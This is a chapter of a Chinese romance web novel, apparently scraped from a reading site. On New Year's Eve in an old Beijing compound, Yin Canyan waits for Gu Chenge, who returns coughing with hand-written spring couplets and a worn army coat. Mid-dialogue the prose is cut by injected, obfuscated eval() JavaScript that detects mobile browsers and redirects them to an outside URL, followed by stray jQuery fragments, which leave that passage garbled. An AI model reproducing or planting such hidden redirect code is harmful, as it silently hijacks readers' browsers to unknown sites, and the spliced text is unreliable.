除夕。


    北京的气温断崖式下跌,空气被冻得发脆。


    窗外,铅灰色的云层几乎蹭到了树梢,沉甸甸地压着天际线。没有风,但那种令人窒息的低气压,正在酝酿着一场暴雪。


    中关村,科源社区大院,特楼14号,201室。


    殷灿言在那张单人沙发里窝了一整天。


    铸铁暖气片发出持续的、单调的嗡嗡声,表面烫得不敢触碰。它不知疲倦地散发着热量,将室内的湿度蒸发殆尽。空气燥热,甚至有些令人缺氧的晕眩。


    屋子里弥漫着一种复杂的混合气味:老家具陈年的松木味、暖气管受热后的金属焦味,以及——十分钟前,她为了所谓「应景」,用电磁炉煮废了的那锅速冻水饺散发出的、带着酸气的面粉味。


    她盯着不锈钢锅底。


    那些原本圆润饱满的饺子,此刻已经化成了一滩惨白的、黏连在一起的面糊。破裂的面皮里,肉馅散落出来,漂浮在浑浊的汤面上。


    手机屏幕亮起。


    邬思乔发来的照片占据了整个视野:那是一张足以容纳二十人的红木圆桌,巨大的澳洲龙虾和色泽红亮的鲍鱼占据了C位,背景是模糊的、举着红酒杯的衣香鬓影。


    殷灿言面无表情地按灭了屏幕。


    她端起锅,走到垃圾桶旁,手腕翻转。


    「哐」的一声闷响。那锅连汤带水的失败品,以及包装盒,被她毫不犹豫地倒进了黑色垃圾袋里。


    她转身拉开衣柜,拽出那件也是全黑色的、长及脚踝的充绒羽绒服。拉链一直拉到下巴,又将那条宽大的灰色羊绒围巾在脖子上绕了两圈,只露出一双眼睛。


    她需要冷空气。


    大脑因为高温和无所事事而变得混沌、烦躁,她急需一点冰冷的刺激来强制重启。


    她走到门口,侧过身,用肩膀顶开那扇沉重变形的单元防盗门。门缝开启的瞬间,凛冽的寒气像看不见的刀片,直接刮在脸上。


    这股风里,夹杂着一种她从未闻过的气味。不是上海那种湿润的、带着江水咸腥的阴冷,而是一种极度干燥的、混合了干枯落叶的腐殖气,以及附近平房区燃烧蜂窝煤时飘来的、呛人的二氧化硫味道。


    院子里空荡荡的。


    水泥路面上,厚厚的梧桐落叶被风卷得干脆作响,在空旷的地面上盘旋刮擦。


    几栋灰砖黑瓦的苏式楼静默地矗立在灰暗的暮色中。几乎每一扇窗户后面,都透出橘黄色的暖光。隐约的,能听见电视机里传出的、春晚开场前那种特有的、高亢喜庆的背景音乐,还有不同声调的笑声。


    不知是谁家的抽油烟机正在全速运转,排风口喷吐着白烟。热油爆香葱姜的味道、炖肉的浓香,霸道地钻进殷灿言的鼻腔。


    那是属于别人的热闹。


    殷灿言将下巴缩进围巾的褶皱里,双手插进深兜,踩着脚下脆裂的落叶,沿着坑洼不平的小路往外走。


    走到大院门口。


    传达室里亮着一盏昏黄的白炽灯。穿着军大衣、体型圆润的看门大爷正盘腿坐在椅子上。面前的折叠桌上,一盘油炸花生米,一瓶撕了标签的二锅头,那台只有14寸的彩色电视机正闪烁着雪花点。


    大爷抬头看见全副武装的殷灿言,愣了一下。随即,他咧开嘴,露出一口参差的黄牙和一个憨厚的笑,举起手里的一次性塑料杯,隔着玻璃窗向她晃了晃。


    殷灿言停下脚步。她隔着厚厚的围巾,对着大爷极其僵硬地、轻微地点了一下头。


    她没有立刻折返,而是走到大院门口那棵三人合抱粗的老槐树下。


    光秃秃的枝丫像黑色的闪电,刺向阴沉的天空。


    她站在树影里,视线投向大路尽头的那盏路灯。光晕下,偶尔有三三两两晚归的人匆匆路过,手里提着红色的礼盒,呼出的白气在灯光下聚散。


    她在等。


    等那个今天一早因为「部委春节值班」而匆匆离开的身影。


    尽管,如果有人问起,她绝对会说,她只是出来透透气。


    不知过了多久,雪落了下来。


    不是「柳絮因风起」的鹅毛大雪,而是那种,细小的、冰冷的、「撒盐空中差可拟」的雪籽,夹杂在凛冽的北风里,斜斜地、密集地,抽打在窗玻璃上,发出「沙沙」的声响。


    路灯一盏一盏地亮起,昏黄的光晕将空中撒落的「盐粒」映射成「金币」。


    殷灿言依然站在老槐树下,抬眼望着远处。


    突然,一束灼目刺眼的远光灯,猛地撕裂了院门口的黑暗,横扫过她头顶老楼的二层窗户。


    殷灿言本能地向后退了半步,将身体压进老槐树粗粝的阴影里,像一只被探照灯捕获的夜行动物。


    一辆漆黑的、挂着「京AG6」牌照的红旗轿车,静默无声地滑入大院,稳稳地停在了老槐树旁的空地上,在这片充满书卷气和生活气息的老旧社区里,显得刺眼、突兀,像一个来自于另一个世界的的冰冷烙印。


    车门打开。


    顾臣戈从后座迈步下来。


    他身上披着那件她再熟悉不过的军绿色俄式大衣,领口被竖起,遮住了他半张脸,将他的神色深深埋进阴影里。


    他没有立刻走向楼门。他只是极其轻微地,对着车窗玻璃后的某处颔首致意。


    然后,那辆代表着「权力」的黑色幽灵船,在原地无声地调转车头,像退入深海一样,滑出大院,消失在漆黑的夜幕里。


    顾臣戈独自一人,站在老槐树下,身形被上方昏黄的路灯拉长、扭曲。


    他走得很慢,步履凝滞。每走几步,就要停顿一下,仿佛脚下那段早已走过千百遍的石板路,此刻却变得异常漫长、艰难。


    就在这时,殷灿言的耳朵捕捉到一阵声音。


    那声音被凛冽的寒风几乎完全吞没,却带着一种压抑的、撕心裂肺的湿滞。


    咳嗽声。


    她看见,路灯下,顾臣戈的影子猛地腰斩。


    他不得不伸出手,猛地扶住身旁那根冰冷的、漆皮剥落的电线杆,深弯下腰,剧烈地、无法抑制地咳喘起来。


    每一次咳嗽,都像是一次痛苦的、从胸腔深处炸开的痉挛。


    他的背脊在昏黄的灯光下,完全弓起,像一张被无形的、巨大的力量瞬间拉满的、濒临断裂的硬弓。


    他下意识地、用另一只手,死死地裹紧、按压着身上那件厚实的军大衣。


    那不是御寒的动作。


    那更像是一个徒劳的、挣扎的姿态——试图用尽全身的力气,去压制、去捆缚住那个在他自己身体内部,正在疯狂造反、不受控制的猛兽。


    殷灿言的呼吸,在那一刻完全停滞。


    她藏在阴影里,看着那个在风雪中,独自一人,与身体里的痛苦进行着私密搏斗的男人。


    过了很久。


    那阵仿佛要将他整个人撕裂的咳嗽声,终于,渐渐平息了下去。


    他依然扶着那根电线杆,大口地、贪婪地喘着气。


    每一次呼吸,都在冰冷的空气中,凝成一团巨大而凌乱的白雾。


    殷灿言的心脏,也跟着那团白雾,一点一点地揪紧。


    他在原地站立了足够长的时间。


    直到他的呼吸,终于彻底恢复了平稳的节奏。


    他缓慢地,直起了腰身。


    深吸了一口那冰冷的、夹杂着雪籽的空气。


    随后,他抬起头,目光径直投向二楼,那扇她所在的、漆黑一片的窗户。


    他的眼神里,在那一瞬间,泄露出一股她从未见过的、深不见底的疲惫。


    但他很快,就调整了表情。


    他抬起手,极其缓慢地,整理着被寒风吹乱的衣领。


    又拍打着大衣上那些并不存在的雪花。


    然后,他对着那扇漆黑的窗户,嘴角极其轻微地、向上牵起了一个弧度。


    他转过身,向着单元楼门口走来。


    脚步声,在寂静的雪夜里,被无数倍地放大。


    「沙沙,沙沙……」


    每一步,都像是准确地踩在殷灿言的心上。


    他看到了她。


    看到了那个,独自一人蜷缩在老槐树的阴影里,像一颗寒气凝固,身强志坚的、倔强的羊肚菌。


    他的脚步,有微不可察的一顿。


    镜片后的眼神焦距猛地收紧,呼吸短暂地一滞。他嘴角极快地勾勒出一个弧度,又迅速抚平,将那份混合着惊讶与了然的情绪,锁回眼底深处。


    他没有立刻走向她。


    他只是对着她的方向,微微扬了扬下巴,示意她跟上。


    随后,他转过身,将怀里抱着的那个巨大的、形状不规则的包裹收紧,向着他们那栋老旧的小楼方向,迈步走去。


    殷灿言默默地,跟在了他的身后。


    隔着几步的距离,两人都没有说话。


    只有脚踩在厚厚的落叶上,发出「沙沙」的摩擦声,以及远处,不知谁家传来的、小孩子放鞭炮的零星「噼啪」声,打破这片除夕夜的静默。


    走到单元楼门口,顾臣戈停下脚步。


    他将怀里那个被牛皮纸细致包裹着的、形状方正的巨大包裹,小心翼翼地放在地上。


    包裹被打开。里面露出的,不是年货,也不是文件,而是一摞厚厚的、散发着墨香的、红色的宣纸。墨迹似乎还没有彻底干透。


    旁边,还放着一套磨墨用的笔墨纸砚。


    「单位里,几个退休的老先生,每年都有写春联的习惯。」


    顾臣戈开口,声音在寒冷的空气中凝成一团白雾,「我帮着磨了一下午的墨,顺便,也讨了几副。」


    他蹲下身,从那一摞春联中,挑出了一副,递向她。


    「洗砚池边消旧岁,烹茶雪底读新春。」


    横批:「万象更新」。


    不是那种市面上随处可见的、印着金粉和浮夸图案的铜版纸,而是最传统的、透着草木纤维纹理的万年红宣纸。


    墨汁早已干透,凝成乌黑而沉稳的字迹,是那种遒劲有力、横平竖直的颜体。一笔一划,筋骨内敛,带着老派知识分子特有的端正与沉稳。


    殷灿言看着那副对联,看着那几个充满希望与转机的字眼。她的手,在羽绒服的口袋里,不自觉地攥紧,指甲嵌入掌心。


    顾臣戈看着她,没有多说什么,只是重新抱起那堆笔墨纸砚,转身,用手肘顶开了单元楼那扇沉重的铁门。


    「走吧。」他说,「外面冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872475|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,回家贴上。」


    殷灿言抱着那抹鲜艳的红色,跟在他的身后,走进了那扇有些掉漆的单元门。


    走到她家门前,顾臣戈拿出一小桶早已备好的乳白色浆糊。


    他搬过旁边楼道里的一个小板凳,站了上去,开始极其认真地、一丝不苟地,往那扇斑驳的铁门上涂抹浆糊。


    他的动作,很慢,也很笨拙。


    寒风不合时宜地刮过。


    长长的红纸在风中剧烈抖动,浆糊沾到了他的手背上,也蹭到了他的袖口。那副对联,眼看着就要被他贴得歪七扭八。


    但他做这件寻常小事时,却异常专注。仿佛这不是在贴一副简单的对联,而是在进行一场充满仪式感的告别——对「旧世界」的割离,和对「新一年」的郑重迎接。


    殷灿言站在他的身后。


    她看着他,在昏黄的、充满了人间烟火气的路灯下,那个有些笨拙、却又无比真实的背影。脑海里不受控制地,浮现出梁景轩,在恒景一品那间射灯照耀的开放式厨房里,那个同样穿着围裙、努力扮演着「居家好男人」的背影。


    两个背影,在她的眼前缓缓重叠,又慢慢剥离。


    她缓缓地,向前迈出一步。


    就在红纸的下端即将被风卷起的瞬间,她伸出手,精准地按住了那个不安分的边角。


    指尖下,是粗糙的宣纸和冰冷的铁门。


    「……歪了。」


    她轻声开口,声音很轻,像一片刚刚落下的雪花,融化在两人之间那层薄薄的寒气里。


    「往左一点。」


    然后她伸出手,展开手中的横批。


    「……我来吧。」


    顾臣戈听了她的指挥,手掌在那张红纸上,用力地、平整地抹了一下。粗糙的掌纹压过纸面,确保每一个边角都严丝合缝地贴合在冰冷的铁皮上。


    然后,他收回手,从那个摇晃的小板凳上,跨了下來。


    两人的距离,在这一瞬间,被拉近到了极限。


    近到,殷灿言几乎能闻到他身上那股凛冽的、干燥的雪气,和指尖残留的、淡淡的墨汁味道。


    也就是在这一刻。


    借着头顶那盏在风雪中飘摇的昏黄路灯,殷灿言的目光钉在了他的右手袖口上。


    那件厚重的军绿色俄式大衣,袖口边缘因为长期的伏案摩擦,磨得油亮、泛白。织物的纹理像干枯的老树皮一样绽开。就在那层磨损最严重的褶皱里,豁开了一个小小的破口。


    一缕灰败的、陈旧板结的棉絮,从那个无法愈合的伤口里,探出了头。


    它孤零零地悬挂在那里,在零下十几度的、夹杂着雪粒的寒风中,无助地、瑟瑟发抖。


    殷灿言的视线凝固在那一缕棉絮上,她的脑海里,关于质心咨询那份加密报告中提到的「顾家」「红色血统」「京圈核心」的字眼,那些在华尔街和金融圈里,代表着绝对权力的、哪怕再低调也藏不住的京AG6车牌,停机坪上随时待命的湾流G650、只对极少数人开放的长安街会所……在这一刻,径直撞上了这团发黄的旧棉花。


    她下意识地缩了缩手。手指触碰到了自己身上那件充绒量极高的Moncler羽绒服。面料细腻,内里蓬松柔软。但这股柔软的触感,此刻却像针一样,扎了她一下。


    顾臣戈察觉到了她的异样。


    他顺着她的视线,低下头,看了一眼自己的袖口。


    他的神情没有任何变化,只是伸出两根手指,捏住那缕探出来的棉絮,熟练地将它塞回了破口里。又用粗糙的指腹,在上面用力按了按,把那个豁口抚平。


    「这件暖和。」


    他抬起头,看着殷灿言。镜片后的眼睛里,露出了一丝她从未见过的、毫无防备的笑意。


    「这是我爷爷当年在朝鲜战场上穿过的。里面的棉花,是当年老百姓手纳的,实在。」他抬起手臂,轻轻拍了拍那截磨损的袖子,语气里带着一丝小孩子炫耀心爱玩具时才有的得意,「舍不得扔。」


    说完,他弯下腰。


    从在那堆刚贴完的红纸旁,提起了那个网眼稀疏的红色塑料网兜。


    网兜沉甸甸的,勒着他的手指。里面挤着几颗沾着湿泥的土豆,和一捆根部还带着新鲜泥土气息的粗壮大葱。葱叶翠绿,在风雪寒夜中支棱着。


    「……顾臣戈。」殷灿言的声音被风吹得有些走调,「你……连件新衣服,都买不起吗?」


    顾臣戈提着网兜的手,没有停顿。


    他并没有回答这个问题。


    他只是转过身,面对着那扇刚刚贴好春联的、深红色的单元门,又回头看了一眼站在风雪中的她。


    「走了。」他的声音穿过风雪,「今晚买了羊肉片,回去涮锅。」


    顾臣戈提着那兜大葱和土豆,迈步走进了楼道。跺脚,声控灯应声而亮。


    殷灿言站在原地,看着那一小团昏黄的暖光,笼罩着那个裹在破旧军大衣里的背影。


    她低下头,看了看自己那双精致的麂皮长靴,又看了看他刚刚踩过的、留下了雪水印记的水泥地。


    她忽然觉得,自己站在这里,显得如此多余。且仅仅是站在这里看着他,本身就是一种……


    无法洗刷的亵渎。